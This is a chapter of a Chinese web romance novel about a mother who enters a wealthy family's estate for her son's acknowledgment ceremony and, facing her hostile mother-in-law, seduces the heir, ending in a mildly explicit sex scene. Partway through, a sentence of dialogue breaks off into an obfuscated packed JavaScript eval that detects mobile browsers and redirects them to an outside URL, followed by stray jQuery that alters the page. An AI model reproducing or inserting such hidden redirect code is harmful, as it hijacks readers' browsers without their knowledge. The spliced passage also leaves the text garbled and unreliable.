68. 做一条藤

作品:《他觊觎我的孩子[带球跑]

    怀着犹如乱麻般复杂难言的情绪,蓝茵深吸一口气,一脚毅然决然地踏入叶氏老宅。刹那间,一股沁人心脾的凉意,如纱幔般将她萦绕。


    抬眼望去,一座古朴而高大的大理石牌楼傲然挺立,守护着叶氏百年以来的辉煌与威望。牌楼两边,池水明洁清幽,荷花袅袅娜娜地绽放着,散发出阵阵令人陶醉的清香。


    蓝茵继续往前走,只见参天的古木像忠诚且训练有素的皇家卫队,整齐肃穆地列队两旁。它们伸展着一根根擎天巨柱,撑着亭亭如盖的绿伞,投下大片静谧的荫凉。


    虽已临近夏至,暑气却被这一方天地拒之门外,唯有那不知疲倦的蝉,在枝头声嘶力竭地奏响夏日的乐章。


    蓝茵原以为这老宅不过是寻常宅院,可当她深入其中,才惊觉这里简直就是一座隐匿于尘世喧嚣中的避暑山庄啊!


    蓝茵踏上那条似乎看不到尽头的青石板路,脚下的石板被岁月打磨光滑,每一步踩上去,都发出清脆的声响。走着走着,她突然想起了以前田管家说过的话:“家里地方宽广,大少爷嫌走来走去浪费时间。”


    此刻,每一步都仿佛在丈量着时间,也在丈量着她与叶启铭之间的巨大差距。每多走一步,蓝茵心中的震撼与感慨就增添一分。


    “呵……这就是有钱人的世界啊!”


    在这寸土寸金的市中心里,这么一块偌大的地皮,其价值简直难以估量。若将它用来盖一个高档小区,那必定是高楼林立、车水马龙的繁华景象。而且,以这里的地段和配套,房价肯定都是几万一平起步。对于普通人来说,那是一个遥不可及的数字,他们究其一生的奋斗目标,或许都很难买得起其中的一间房子。然而,有钱人仅仅一家人却霸占了这么大的地盘。


    “这是何等的霸道!”


    “何等的奢侈!”


    “何等的不公平啊!”


    就像这随处可见的百年大树,它们的根须绵延甚广,深深地扎入地下,贪婪地汲取着大地的养分,占尽了阳光雨露,从而茁壮成长,枝繁叶茂。


    而普通人,就像树下那些渺小的小草,即便再怎么顽强地向上生长,也只能在大树的阴影下艰难地生存,那微弱的阳光与养分,就像命运施舍的残羹冷炙,根本不足以支撑梦想。


    这就是叶启铭和她之间的差距,天壤之别,宛如一道无法跨越的鸿沟。


    蓝茵目光呆滞地看着走在前方的男人。他身着一袭剪裁优越的西装,背影挺拔如松,宽阔的肩膀撑起西装的轮廓,仿佛能扛起整个世界。他揽着孩子的肩膀,信步向前,步伐潇洒而从容。


    微风吹过,西装的衣角轻轻扬起,像是一面骄傲的旗帜,宣告着他在命运中的优越地位。浑身上下,每一处细节都不同凡响,那锃亮的皮鞋、精致的袖扣,无一不彰显着他的尊贵与富有,仿佛他生来就该站在这世界的高处,享受着一切美好。


    蓝茵下意识地低头看自己,磨得发毛的黑裤子,满是汗臭的园服衬衫,显得那么破旧和寒酸。她孑然一身,在这恢宏的环境中,显得格格不入。


    在这一刻,蓝茵无比清晰地认识到:叶启铭想要孩子认祖归宗,简直是易如反掌的事。


    望着那潇洒背影,绝望涌上蓝茵心头,她不禁在心底悲叹:她拿什么与叶启铭斗?


    ——


    途经一片祖茔,高大的枫树伸展着枝叶,像一把把巨大的华盖,温柔地庇佑着这方静谧之地。


    墓碑上,镌刻的题跋记录着叶氏先祖们的生平,那些于蓝茵而言晦涩难懂的文字,仿佛是岁月遗落的诗篇,在默默诉说着叶氏家族往昔的故事。


    而后折向东行,这短短一段路程,却似一场奇妙的时空穿越。前一刻还置身于避暑山庄的清幽旷达,刹那间就踏入了苏式园林的精巧雅致之中。而这精致却如同一座华丽的牢笼,将她困在其中,让她无处可逃。


    重檐迭楼,错落有致;曲院回廊,婉转通幽。疏密相宜的布局,就像一幅徐徐展开的画卷,每一步都能邂逅不同的美景,让人不知不觉就沉醉其中。


    亭、台、楼、阁姿态各异,有的依水而筑,仿佛与水融为一体;有的面池而建,好似在凝视着池中的倒影;还有的宛如遗世独立的仙子,立于碧波之上。山石造景更是精巧绝伦,与周边的建筑、水体相互映衬,倒映在如镜的水面上,构成了一幅美轮美奂的天然画卷,尽显自然意趣。


    然而,这一切的美好,都像是在嘲笑她的贫穷与卑微,让她感到自己就像是一个闯入了富人世界的乞丐。


    园林之中,哪怕是一块随意摆放的石头,都仿佛是大自然与艺术大师携手雕琢的杰作,集瘦、皱、漏、透四绝于一体。每一条纹理、每一处凹陷,都流淌着艺术的气息。


    这里随便一个角落,都美得如同电影镜头。即便与皇家园林相比,也毫不逊色。由此可见,上世纪初的叶氏家族该是何等的富庶!


    这种云泥之别的差距,如同一座无形的大山,压得蓝茵几乎喘不过气来。


    有座亭子正在重修,施工现场一片嘈杂,工人们在钢筋架子上忙碌着。蓝茵恍恍惚惚地靠近,她的心思早已被这巨大的落差折磨得千疮百孔,根本没有察觉到危险的临近。叶启铭一直在留意着她,见她一步步走向危险,心脏猛地一缩,他下意识地伸手,一把将她拉进了自己的怀中,动作急切而霸道,仿佛要把她嵌入自己的身体。


    那一瞬间,蓝茵感受到了叶启铭身上散发的温暖与力量,可这温暖却让她更加痛苦。她觉得自己就像是一只被命运捉弄的小鸟,误闯入了雄鹰的领地,随时都可能被无情地碾碎。


    这时叶启铭才注意到,蓝茵的脸色苍白如纸,毫无血色,嘴唇微微发紫。他伸手一摸,她的发间全是冷汗,湿漉漉的,顺着脖颈滑落。回想从踏入老宅开始,她的状态就一直很不对劲。


    叶启铭心中一动,他明白,她不是情愿的。


    ——不情愿让孩子认祖归宗,更不情愿跟他回家。


    叶启铭凝视着她,手指轻轻婆娑着她的脸,那手指看似温柔,却带着一种无形的压迫感,晦暗的目光让人捉摸不透。他语气很淡地问道:“怎么?不喜欢这里?”


    他的手指顺着她的脸向下滑动,每一下都像是在试探她的底线,仿佛只要她敢说一句“不”,他的手指便会一路向下,掐住她的下巴和咽喉,让她无法呼吸。


    ——被掐过的人,太懂那种窒息的滋味了。


    面对这种上位者的傲慢,蓝茵心中涌起一股怒火。她深吸一口气,努力收敛了情绪,露出一抹淡淡的笑容。那笑容背后隐藏着她无尽的痛苦和愤怒,但她知道,在这个地方,她不能轻易表露自己的情绪。


    她开玩笑地说道:“我在想,如果这里对游客开放,收几十块钱的门票,要是一天有一万人次来参观,那一天就是几十万的收入。一年下来,可就是一个亿呢。有点可惜这么好的地方不利用起来。”凭什么?普通人就算花钱也只能匆匆欣赏的美景,却被有钱人理所当然地私藏起来。


    这是何等的奢侈!


    何等的不公平!


    何等的暴殄天物!


    穷人想着怎么赚钱,有钱人只在乎如何享受。叶启铭以为她是典型的穷人思维,忍不住笑了起来:“那我给你一个亿,你是不是就能踏踏实实地住在这里了?”


    他说得认真极了,仿佛只要蓝茵轻轻应上一声,他便能毫不犹豫地掏出一个亿,将这精致却犹如枷锁般的奢华牢笼彻底加固,把她死死困在其中,叫她再无逃脱的可能。


    蓝茵心中顿时警铃大作:叶启铭这个疯子,还有什么事是他做不出来的?如今置身于叶启铭的地盘,落入他的掌控之中,自己稍有一丝不慎……与虎谋皮,每一步都得小心翼翼,绝不可有丝毫的轻慢。


    蓝茵努力将心头如汹涌潮水般的恨意、那几乎要将她吞噬的不甘,以及如影随形的痛苦……统统敛了下去。她的眼神逐渐变得平静,仿佛一汪深不见底的寒潭。


    ——


    一行人沿着蜿蜒曲折的长廊徐行。廊壁之上,错落有致的漏窗好似天然画框,巧妙地框住了窗外的翠竹、粉墙与奇石。层层叠叠的景致相互映衬,营造出景中有景、意境无穷的美妙氛围。


    几堵素墙静默伫立,几丛绿植却生机盎然。廊腰曲折回环,不知不觉引领着众人的脚步不断深入。正当大家感觉前路似乎已到尽头时,峰回路转,一座富丽堂皇的“临江仙馆”蓦然呈现在眼前。


    馆前的匾额和楹联上,先人笔力遒劲的书法跃然其上,为这座楠木厅赋予了浓厚而深沉的家族气息。门窗隔扇上,精雕细琢的花纹图案美轮美奂,还镶嵌着巧夺天工的彩绘玻璃,将光学之妙与艺术之美完美融合。


    阳光洒落,透过玻璃幻化成五彩斑斓的光影,让厅中的人影都变得虚幻和不真实起来。就在这时,里面的人影缓缓走了出来。


    那是一位上了年纪的女仆,她身着靛青色的绸缎短衫,剪裁合身,线条流畅,将她的身形衬托得利落又大方。她眉眼含笑,眼神中透露出和蔼与亲切。


    “大少爷回来啦!”她熟稔地迎上前,双手稳稳地接过叶启铭脱下来的西装,目光顺势在忽然多出来的母子两人身上打量了一眼,脸上依旧挂着恰到好处的亲切笑容,“这位想必就是小公子和——”她微微顿了一下,眼中闪过一丝不易察觉的犹豫,似乎一时之间不知该如何称呼才最为妥当。


    “是少夫人。”田管家适时地在一旁提点了她一句。这简单的四个字,仿佛有着千钧之力,宣告了蓝茵在叶启铭心目中不容置疑的重要地位。


    田管家转而面向蓝茵,恭敬地微微欠身,引荐道:“这位是荷姨,是宅子里的老人了,跟在夫人身边三十多年了,一直是夫人的得力帮手,宅子里的大小事宜都由她来管理。以后您若是有什么不懂的地方,都可以来请教荷姨。”


    田管家这番话,表面上是热情介绍,弦外之音却是在郑重提醒:这位蓝茵,可是叶氏未来的女主人,接手宅子里的管家权只是迟早的事情。聪明的人,就得清楚自己的立场,要是对少夫人有半分轻慢,那便是对大少爷的不敬。


    而更深层次的弦外之音,更是如同一记警钟:少夫人与小公子回来,你们这些仆人却没一个出来迎接,如此轻慢之举,已经惹得大少爷不快了。要是不想让大少爷亲自动手来整治,你们最好好自为之。


    叶启铭听闻,赞许地看了一眼田管家。在家宅内务上,叶启铭之所以如此倚重田管家,正是因为田管家太懂他的心思了。很多事情,不用他开口,田管家便能先行一步,把事情处理得妥妥当当。


    荷姨何等精明,岂会不懂其中深意,心下顿时惴惴不安起来。她连忙敛了笑意,低垂着头,匆匆回到夫人邢女士身边伺候。


    蓝茵携着儿子蓝泽宇,跨过那高高的门槛,缓缓步入大厅。


    映入眼帘的是一派古色古香的景致。大理石屏风静静伫立,精美的瓷器错落有致地摆放着,文人墨客的真迹悬挂于墙壁之上,整个大厅显得雅致而深沉。


    一张圆桌居于大厅中央,上面摆满了珍馐美馔,山珍海味罗列其间,香气扑鼻。


    上座之处,端坐着一位头发花白却精神矍铄的老人。他身着朴素的衣衫,却难掩周身散发的威严之气。此人便是叶家辈分最高的叶老太爷。想当年,他在商界叱咤风云,是一代风流人物。如今退位赋闲,颐养天年,每日侍花弄草、种菜养鱼,倒也怡然自得,性子也如同孩童般纯真起来。他面相和蔼可亲,让人不禁心生亲近之感。


    叶老太爷的下首,左边坐着叶勋,他是叶启铭的父亲,也是仆人口中的“老爷”。叶勋面容坚毅冷酷,眉宇之间萦绕着一股王者之气,让人望而生畏。


    右边则坐着其夫人邢女士,她是叶启铭的生身母亲,名副其实的冻龄美人。她仪态优雅大方,身段婀娜多姿,气度雍容华贵,举手投足间无不彰显着名门世家的修养。


    叶翊辰小朋友挨着邢女士,乖乖地坐在宝宝椅上。然而,那座椅的束缚让他像一只被禁锢的鹌鹑,动弹不得,只能眼巴巴地望着桌上的美食。


    两旁,身着靛青色绸缎短衫的仆人们整齐排列,规规矩矩地站立着,眼神专注而恭敬,随时准备为主人们提供周到的服务。


    蓝茵在打量着他们,他们也在打量着蓝茵,空气中弥漫着一股审视与被审视的紧张氛围。每个人的目光都带着探究、好奇甚至是一丝挑剔,仿佛要透过蓝茵的外表,看穿她的一切。


    在场的人谁也没有想到,被叶启铭视若珍宝、放在心尖上的女人,穿着打扮竟如此寒酸潦草。她双手空空地站在那里,没有携带任何象征着重视与诚意的礼物,仿佛孩子的第一次认亲仪式,在她眼中不过尔尔。


    然而,最让人惊讶的是她的眼神。那眼神中没有丝毫的谦卑与讨好,没有因身处这豪门世家而流露出的紧张与局促,仿佛这叶氏显赫的门楣,不过是她路过的一处风景,无法在她的心中激起半点涟漪。


    冷漠,疏离。


    而站在她旁边的孩子,穿着干净整洁,眼神稳重,小小年纪便有了不可小觑的气势。他的脊背挺得笔直,双手自然地垂在两侧,没有因为身处这陌生而豪华的环境而表现出丝毫的慌乱。他的眼睛明亮而清澈,透着一种与年龄不相符的镇定和自信,仿佛他本就该站在这里,这是他与生俱来的位置。


    这对母子,真是不简单啊!让人不禁想起那句话:英雄不问出处,人才岂论门第。


    “不愧是叶氏的骨血!不愧是能生出叶氏骨血的女人!”叶老太爷目光紧紧地锁定在蓝茵母子身上,心中大为赞赏,原本就精神矍铄的脸上此刻更是光彩照人。他激动得一拍桌子霍然起身,中气十足地连喊了两声“好!好!回家就好!”


    老爷子这一声令下,宛如在平静的湖面投下了一颗巨石。


    “都愣在那里干什么?还不快给你们的少夫人和小公子添碗加筷!”他话音刚落,原本规规矩矩站在两旁的仆人们如梦初醒,立马手脚利落地忙碌起来。


    眨眼间,精致的青花瓷碗筷就被稳稳地摆上了桌。那青花瓷的纹路细腻而优美,在灯光的映照下闪烁着温润的光泽,仿佛也在诉说着叶氏家族的荣耀与传承。


    添了这碗筷,意义非凡。这意味着从这一刻起,叶氏家族的族谱上要多添两人,家族的餐桌上从此会有他们的位置。


    而坐在一侧的邢女士,面上笑意盈盈,端庄姿态未有分毫改变,宛如一潭不见波澜的幽湖。但桌下的双手却狠狠攥紧,指甲几近嵌入掌心,尖锐的痛意也难掩她心底如惊涛般翻涌的怨愤。


    她实在没想到,自己精心策划的“去母留子”计划居然失败了。这个差点要了叶启铭性命的罪魁祸首!叶启铭的命中克星!叶氏家族罪大恶极的灾星!这个她千方百计想要除去的女人!竟被叶启铭堂而皇之地带回了叶家,即将成为叶氏家族的一份子。


    这让她如何能咽下这口气?


    邢女士缓缓伸出手,那手纤细如玉,平日里的精心保养让它近乎完美,与一旁精致的青花瓷筷相得益彰。她优雅地操起筷子,夹起一勺菜,那美目之中,闪过一丝不易察觉的精光。


    “哟,没等你们母子俩过来,我就先动筷了,你们可别往心里去呀。”邢女士语调轻描淡写,目光漫不经心地扫向蓝茵,那眼神中满是轻蔑,仿佛蓝茵只是一只微不足道、任人踩踏的蝼蚁。紧接着,她又语气娇柔地补了一句,“启铭是了解我的,我的胃向来娇气,可受不得半点委屈。”


    有些话,埋在心底时,即便彼此都心照不宣,也能相安无事、装作不知。可一旦说出口,便是意味深长了。蓝茵不由得在心底细细思忖起来。


    按道理讲,今日是叶家流落在外的孩子回家认亲的重大日子,叶家上上下下理当夹道相迎,以彰显对这一盛事的重视。然而,自她牵着孩子踏入叶家大门那一刻起,既不见一位家人出门迎接,也不见一个仆人前来招呼。瞧眼前这番景象,这些所谓的“家人”不仅早早围坐在饭桌前,甚至连开饭都不等他们母子。这一桩桩、一件件,将上位者骨子里的傲慢与冷漠展现得淋漓尽致。想来,这一切定是邢女士处心积虑的安排,就是想给她一个下马威,让她知道这豪门的门可不是那么好进的。


    这豪门的门槛,果然没那么容易跨过。而这一切,不过才刚刚拉开帷幕……


    邢女士以为这样就能让她害怕?


    蓝茵在心中暗自嘲讽地笑了笑,她大步走上前,干脆利落地拉开椅子坐下,嘴角微微上扬,勾勒出一抹讥诮的弧度:“无妨,我这胃好得很,就算是冷菜也吃得香。只是没想到,这么显赫的豪门,竟吃冷菜,连普通人家都比不上。”


    叶启铭见状,目光如炬地瞪了一眼周围的仆人,厉声喝道:“都站在这儿干什么!还不赶快去把菜热了!”


    君王一怒,恰似雷霆万钧,仆人们吓得瑟瑟发抖,忙不迭地将饭菜撤了下去。


    待仆人都退下后,叶启铭看向邢女士,语气中满是冷淡的关切:“妈,您就是太宠着他们了,才让他们如此没规矩!您身体不太好,要是管家让您费心劳神,以后就让蓝茵来接手。以后每个周末和节假日,我们都会回老宅,也能帮您分担些。”


    邢女士万万没想到儿子会说出这番话。她这个儿子,向来对家中琐事不闻不问,家在他心里不过是个临时歇脚的旅馆罢了。可如今,为了一个女人,竟为了这点小事公然顶撞自己!


    真是有了媳妇忘了娘,这个女人到底给他灌了什么迷魂汤?


    “哼,儿子大了,翅膀硬了啊!根本就不把我们做父母的放在眼里!在他心里,压根就没把任何人当回事儿!那弑亲灭族的勾当,他又不是头一遭干!”叶勋在心里咆哮,他早就看透了这个毫无人性的不肖子,连带着对那青出于蓝而胜于蓝的孙子,亦是难掩厌恶,脸色愈发阴沉。


    纵是满心不悦,叶勋和邢女士也清楚,今日绝非发作的时机。毕竟,若连表面的体面都维持不住,叶启铭必定不会轻易罢休。他们只能强忍着心中的怒火,等待合适的时机再做打算。


    很快,热好的菜肴重新被端上了桌。邢女士脸上挂着看似体贴的笑容,给蓝泽宇夹了一筷子菜,语气亲昵地说道:“乖孙子,瞧你瘦的,这些年跟着你妈吃了不少苦吧。现在回家就好了,咱们叶家要什么有什么,绝不会亏待了你!”


    蓝泽宇缓缓抬起头,他看着眼前这位名义上的“奶奶”,那声“奶奶”到了嘴边,终究还是没能喊出口。他一脸正色地说道:“我不觉得苦,除了没有爸爸在身边,别人有的我都有,我什么都不缺。”


    ——请别污蔑我的妈妈。


    邢女士看着他那带着明显防备的稚嫩眉眼,心里瞬间便明白了,这孩子,是养不熟的。


    叶老太爷却不这么想,在他眼中,这份防备并非不懂事,而是一种难能可贵的骨气。他的眼神里满是慈爱与欣赏,声音温和而又充满期许:“乖孩子!到曾爷爷这儿来,让曾爷爷好好瞧瞧你!”


    面对叶老太爷这般热情的召唤,蓝泽宇有些不知所措,他下意识地看向爸爸,仿佛在寻求指引。待看到爸爸点头给予肯定后,他才迈着略显迟疑的步伐走向上座。一旁机灵的仆人赶忙搬来一把椅子,妥帖地安置好,让这一老一少并肩而坐。


    当叶老太爷伸出手,轻轻触碰这个与自己血脉相连的孩子时,激动之情涌上心头,眼眶不禁泛起了泪花。他声音略带颤抖地说道:“听说你为你爸爸挡了一刀,险些丢了性命,哎,真是个勇敢又善良的好孩子啊!”他的手温柔地抚摸着蓝泽宇的头。


    明眼人都能看出,老太爷这一番举动,分明是要为这孩子撑腰,让他在这复杂的家族中站稳脚跟。


    邢女士也并不恼怒,若无其事地换了个话题,用那种拉家常般的温和口吻对蓝茵说道:“今天怎么回来得这么晚呀?我在家一直惦记着你们呢,就怕耽误了吉时。要不是一直等你们,这菜也不会凉了。看你这打扮,是刚忙完工作回来吧?不知道你是做什么工作的呀?”


    “早教。”蓝茵早就在心里料到她会有此一问,于是冷淡而简洁地回应道。


    “月薪多少啊?节假日还得加班,辛苦得很呐。”邢女士紧接着追问,她想通过这些问题,来贬低蓝茵的价值。


    “三千。”蓝茵依旧平静地答道。


    “噗……”邢女士没忍住,轻蔑的笑声像刺耳的音符,瞬间在空气中炸开。“我看你忙得跟国家领导人似的,还以为工资有多高呢。你这工资,比我给下人的都少。与其


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16147742|166949||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    累死累活地上那个班,还不如在家帮我照顾翊辰……”


    话刚出口,邢女士就装作失言的样子,赶忙解释:“哎哟,你瞧我这嘴,没个把门的。我不是这个意思,你是翊辰的嫂子,哪能让你干保姆的活呀。”她话里话外,含沙射影的意味,像暗藏的针芒,让人隐隐作痛。


    “翊辰在我那儿上托班,平时我带他的时候可多了,说是保姆也不为过。孩子是祖国的未来,是无价之宝。我的工作也是如此,不能用金钱来衡量,它是我自我价值的体现。”蓝茵不卑不亢地回应,眼神中透着坚定。


    ——至少,我有属于自己的价值。而你,不过是豪门里的一只金丝雀,早已失去了自我价值。


    这后半句话藏在心底,虽未说出口,却像一把锋利的剑,直直刺向邢女士那虚伪的面具。


    邢女士的眉眼瞬间闪过一丝异样,不过那抹异样转瞬即逝,她很快又恢复了若无其事的神情。这次,她不再虚与委蛇,径直看向蓝茵,语气看似平常,实则暗藏审视:“蓝茵,你老家在哪儿,家中还有什么人呐?”


    蓝茵心里跟明镜似的,邢女士这是打算当着一众仆人的面,把她的底细全翻出来。可这些问题乍一听,不过是寻常的家常闲聊。要是她拒绝回答,反倒显得自己不懂礼数。


    这就是上位者居高临下的傲慢。蓝茵满心疑惑,那些高高在上的人,就像生长在沃土中的参天大树,轻而易举地占据了世间绝大部分资源,成了既得利益者。可他们还不知满足,偏要通过嘲笑和践踏弱小来获得快感,仿佛这是他们与生俱来的权力。


    这些有钱人究竟要把普通人逼到什么地步?


    她太渺小了,就像试图撼动大树的蚍蜉。每一次反抗,都像是做了一场不切实际的梦,徒劳无功。


    在这场无声的较量中,蓝茵仿佛置身于一个巨大的天平上,而她的对手是那些掌控权势、高高在上的人。她很清楚,如果只靠自己的口舌之利去抗衡,就像以卵击石,毫无胜算,最后只会落得粉身碎骨的下场。除非,她能拥有和对方旗鼓相当的筹码……


    这个念头在脑海中盘旋时,蓝茵下意识地看向身旁的叶启铭。就在这一瞬间,一个大胆的想法如闪电般划过她的脑海。


    叶启铭!


    如果她是一条藤,紧紧缠绕上叶启铭这棵在家族中根深叶茂、权势滔天的参天大树,借助叶启铭的声望和势力,去对抗所有妄图“去母留子”的人。


    她只需巧妙挑拨叶启铭和他父母的关系,让他们在互相攻击、互相算计中自食恶果,为他们的贪婪和残忍付出代价。


    这样,她就可以静静地坐在一旁,冷眼旁观这一家人陷入内斗的漩涡。


    ——


    打定主意后,蓝茵对邢女士的发难仿若未闻。她缓缓抬起宛如白玉雕琢的皓腕,指尖似有若无地揉着太阳穴,眉心紧蹙成川字,仿佛藏着千般疲惫、万种愁绪。


    她娇弱地朝叶启铭怀中偎去,那楚楚动人之态,任谁见了都不免心生怜惜。


    这是蓝茵生平头一遭如此示弱。刹那间,叶启铭只觉一颗心被一只无形的柔荑轻轻攥住,那颗原本坚硬如铁的心,瞬间化为绕指柔。


    他赶忙伸出坚实有力的手臂,动作急切却又不失温柔地环住蓝茵那纤细得不堪一握的腰肢,将下巴轻抵在她冰冷的额头上,关切之情如潺潺溪流,从低沉而温柔的嗓音中溢出:“怎么了?是哪里不舒服?我马上叫医生来。”


    蓝茵微微扬起精致的脸庞,眼神中带着一丝娇嗔,轻轻瞥了叶启铭一眼。琥珀色的眸间流转着神秘莫测的光芒,仿佛藏着无数不为人知的旖旎风情。


    她伸出粉嫩的小拳头,轻轻捶打着叶启铭坚实如磐的胸膛,娇声埋怨道:“我累坏啦,这几晚都没睡好。还不都怪你!”


    她那娇柔妩媚的模样,宛如一朵盛开在暗夜中的曼陀罗,散发着致命的诱惑,又似一只狡黠而迷人的妖精,释放出无形却又强大的魅惑之力,瞬间勾起了叶启铭身体里最原始的反应。


    他的眼神变得深邃而炽热,紧紧盯着怀中的蓝茵。


    “我送你回房好好休息。”叶启铭不再有丝毫犹豫,双臂微微用力,如抱起世间最珍贵的珍宝一般,将蓝茵轻柔地打横抱起。


    他的眼中只有蓝茵那娇美的容颜,周遭的一切都如幻影般被他自动屏蔽,仿佛整个世界只剩下他们二人。


    他大步流星地朝着房间走去,只留下一句低沉而坚定的话语,如金石掷地:“你们先吃着,不用等我,我去去就回。”


    蓝茵那光滑如缎的手臂,如同灵动的藤蔓,自然而然地缠绕上叶启铭的脖颈。她被稳稳地抱在叶启铭怀中,感受着他坚实胸膛的起伏和有力的心跳,心中不禁暗自冷笑:


    “这叶启铭啊,做人实在可恶透顶,但若不把他当人,只当成一棵可依靠的大树,或是一个能为己所用的工具,倒也还算有些用处。”


    蓝茵侧过脸,目光恰好与邢女士的眼神交汇在一起。此时的邢女士,脸上的表情可谓是精彩纷呈,那模样,活脱脱就是“有苦难言、有气难出”的真实写照。蓝茵嘴角缓缓上扬,勾勒出一个意味深长的笑容,那笑容仿佛在说:“天知地知、你知我知。”


    同为女人,邢女士自然更能明白蓝茵的心思。她眼睁睁地看着这个出身卑贱、看似普通的女人,用那狐媚的手段迷惑自己的儿子,只感觉一股怒火在胸中熊熊燃烧,仿佛要将她的五脏六腑都烧成灰烬。


    她本就虚弱的身体,在这强烈的刺激下,瞬间有些支撑不住了,双腿一软,险些跌坐在地上。


    叶启铭抱着蓝茵,穿过曲折蜿蜒的长廊,走过一座又一座精巧的亭台楼阁,仿佛穿越了时光的长河,终于将蓝茵抱进了自己的卧房,轻轻安置在雕花大床的真丝床面上。


    阳光透过彩色玻璃倾泻而入,各种色彩相互交织、碰撞,在这一方空间里晕染出一个如梦似幻的光学与美学的艺术殿堂。


    在这梦幻般的光影中,只见蓝茵静静地坐在床沿边,她的眼神像是藏着一片神秘的宇宙,每一道目光都仿佛蕴含着无尽的故事和诱惑。


    她缓缓地解开衬衫的纽扣,每一个动作都万种风情。随着纽扣一颗颗被解开,衬衫微微敞开,露出大自然最完美的杰作。


    她宛如一尊最美的琉璃盏,光影在她的身上尽情地交织、流淌,仿佛为她披上了一层梦幻般的纱衣。


    她的肌肤细腻而光滑,吹弹可破,像是一经触摸,便会有悦耳通透的回响。


    叶启铭望着眼前的蓝茵,脑海中那根理智的弦彻底崩裂。眼神变得炽热而疯狂。


    “蓝茵,你到底想干什么?”叶启铭的声音有些克制的颤抖。


    蓝茵嘴角微微上扬,露出一个狡黠而迷人的笑容。她的眼神中充满了挑衅和诱惑,仿佛在向叶启铭发出最直接的邀请。


    “你猜呢?”蓝茵的声音轻柔而暧昧,宛如一首悠扬的情歌,在叶启铭的耳边轻轻回荡。她的玲珑小脚轻轻一勾,勾住了叶启铭的西装裤。


    叶启铭的喉结上下滚动,心跳急剧加速,一股强烈的欲望在他的体内迅速蔓延开来。他也是迫不及待地想将这尊琉璃盏拥入怀中,感受她的脆弱和柔软。


    然而,他的心中尚有一丝理智在苦苦挣扎:“蓝茵,不行,这里没有安全措施。”


    “怎么?不相信自己的自控力?”蓝茵挑衅地看着叶启铭,眼神中充满了不屑和挑战。


    “对你,我真的把持不住。”叶启铭的声音变得沙哑而低沉,仿佛被灼烧得失去了原本的音色。


    “没事,大不了就怀上呗,你又不是养不起。”蓝茵的语气轻松而随意,仿佛怀孕对她来说是一件可以欣然接受的事情。


    她主动向他敞开了心之城门,仿佛将自己最柔肠百转的部分交付于他,以这般毫无保留的姿态,表达着对他的倾心臣服。


    叶启铭被她的举动彻底取悦。这种巨大的欢喜,远超过他一手带领铭记科技创下新辉煌时的兴奋。那一刻,他仿佛是驰骋战场的将军,打了一场最为漂亮、酣畅淋漓的胜仗。


    他的眼神变得更加炙热和疯狂,仿佛要将蓝茵纳入自己的殖民地。他来不及脱掉战甲,便急冲冲地开始宣告主权。


    他一边拿出手机,给田管家发了一条信息,让他将劳斯莱斯里的安全用品全部拿过来。


    大厅之中,众人依旧静静地等着叶启铭回来用餐。此时,田管家收到了叶启铭的消息,他站起身来,准备离去,随口说道:“大家不用等大少爷回来吃饭了。”


    邢女士心中顿时生疑,她认定又是蓝茵在搞鬼,急切地追问:“为何不回来吃饭了?田管家,你要去哪里,去做什么,把事情给我讲明白!”


    田管家一脸无奈,只好如实相告:“我去给大少爷和少夫人拿些东西,不然啊,说不定又要有小公子降临了。”


    邢女士闻言,只觉脑袋“嗡”的一声,仿佛被重锤狠狠击中。她气得浑身颤抖,一口牙齿咬得咯咯作响,在心里怒骂道:“这成何体统!这个女人,简直毫无廉耻!”


    她实在难以理解,一向端庄自持的儿子,怎么在这个女人面前就像着了魔一般,完全没了分寸。这也太急不可耐了,难道连片刻都等不了吗?


    邢女士用眼神向荷姨示意,荷姨心领神会,立刻快步跟了上去。


    老宅本就年久,隔音极差。荷姨还远未走近大少爷的卧房,便有一阵暧昧又激烈的动静如汹涌潮水般扑面而来。那床榻发出的“吱呀”声,仿佛是一位年迈的老者在痛苦的挣扎与抗议,每一声都沉重而急促,好似随时都会在这无尽的折腾中散架崩塌。


    偶尔还夹杂着若有若无的喘息与低吟,似是被压抑许久的火焰在疯狂燃烧,又似是情感的洪流在冲破理智的堤坝肆意奔涌。这声音肆无忌惮地在空气中蔓延,如同一股无形的热浪,让荷姨瞬间面红耳赤,吓得撒腿就跑,仿佛做了什么亏心事一般。


    一直到吃晚饭的时候,那卧房里的声响依旧没有平息。


    仆人们在一旁伺候邢女士用餐,个个大气都不敢出,仿佛连呼吸声都被刻意压低。整个大厅里安静得可怕,只有餐具偶尔碰撞的声音,在寂静的空气中回荡。邢女士的脸色阴沉得如同暴风雨来临前的天空,让人不寒而栗。